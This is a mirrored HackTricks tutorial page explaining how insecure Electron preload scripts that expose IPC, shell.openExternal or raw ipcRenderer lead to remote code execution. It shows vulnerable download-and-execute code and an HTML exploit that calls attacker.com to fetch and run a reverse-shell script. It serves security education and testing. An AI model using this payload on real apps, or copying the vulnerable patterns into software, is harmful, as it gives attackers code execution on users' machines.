mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
94 lines
2.8 KiB
Markdown
94 lines
2.8 KiB
Markdown
|
# Electron contextIsolation RCE via IPC
|
||
|
|
||
|
If the preload script exposes an IPC endpoint from the main.js file, the renderer process will be able to access it and if vulnerable, a RCE might be possible.
|
||
|
|
||
|
**All these examples were taken from here** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo)****
|
||
|
|
||
|
## Example 1
|
||
|
|
||
|
Check how the `main.js` listens on `getUpdate` and will **download and execute any URL** passed.\
|
||
|
Check also how `preload.js` **exposes any IPC** event from main.
|
||
|
|
||
|
```javascript
|
||
|
// Part of code of main.js
|
||
|
ipcMain.on('getUpdate', (event, url) => {
|
||
|
console.log('getUpdate: ' + url)
|
||
|
mainWindow.webContents.downloadURL(url)
|
||
|
mainWindow.download_url = url
|
||
|
});
|
||
|
|
||
|
mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
|
||
|
console.log('downloads path=' + app.getPath('downloads'))
|
||
|
console.log('mainWindow.download_url=' + mainWindow.download_url);
|
||
|
url_parts = mainWindow.download_url.split('/')
|
||
|
filename = url_parts[url_parts.length-1]
|
||
|
mainWindow.downloadPath = app.getPath('downloads') + '/' + filename
|
||
|
console.log('downloadPath=' + mainWindow.downloadPath)
|
||
|
// Set the save path, making Electron not to prompt a save dialog.
|
||
|
item.setSavePath(mainWindow.downloadPath)
|
||
|
|
||
|
item.on('updated', (event, state) => {
|
||
|
if (state === 'interrupted') {
|
||
|
console.log('Download is interrupted but can be resumed')
|
||
|
}
|
||
|
else if (state === 'progressing') {
|
||
|
if (item.isPaused()) console.log('Download is paused')
|
||
|
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
|
||
|
}
|
||
|
})
|
||
|
|
||
|
item.once('done', (event, state) => {
|
||
|
if (state === 'completed') {
|
||
|
console.log('Download successful, running update')
|
||
|
fs.chmodSync(mainWindow.downloadPath, 0755);
|
||
|
var child = require('child_process').execFile;
|
||
|
child(mainWindow.downloadPath, function(err, data) {
|
||
|
if (err) { console.error(err); return; }
|
||
|
console.log(data.toString());
|
||
|
});
|
||
|
}
|
||
|
else console.log(`Download failed: ${state}`)
|
||
|
})
|
||
|
})
|
||
|
```
|
||
|
|
||
|
```javascript
|
||
|
// Part of code of preload.js
|
||
|
window.electronSend = (event, data) => {
|
||
|
ipcRenderer.send(event, data);
|
||
|
};
|
||
|
```
|
||
|
|
||
|
Exploit:
|
||
|
|
||
|
```html
|
||
|
<script>
|
||
|
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
|
||
|
</script>
|
||
|
```
|
||
|
|
||
|
## Example 2
|
||
|
|
||
|
If the preload script exposes directly to the renderer a way t call shell.openExternal its possible to obtains RCE
|
||
|
|
||
|
```javascript
|
||
|
// Part of preload.js code
|
||
|
window.electronOpenInBrowser = (url) => {
|
||
|
shell.openExternal(url);
|
||
|
};
|
||
|
```
|
||
|
|
||
|
## Example 3
|
||
|
|
||
|
Is the preload script exposes ways to completely communicate with the main process, an XSS will be able to send any event. The impact of this depends on what the main process exposes in terms of IPC.
|
||
|
|
||
|
```javascript
|
||
|
window.electronListen = (event, cb) => {
|
||
|
ipcRenderer.on(event, cb);
|
||
|
};
|
||
|
|
||
|
window.electronSend = (event, data) => {
|
||
|
ipcRenderer.send(event, data);
|
||
|
};
|
||
|
```
|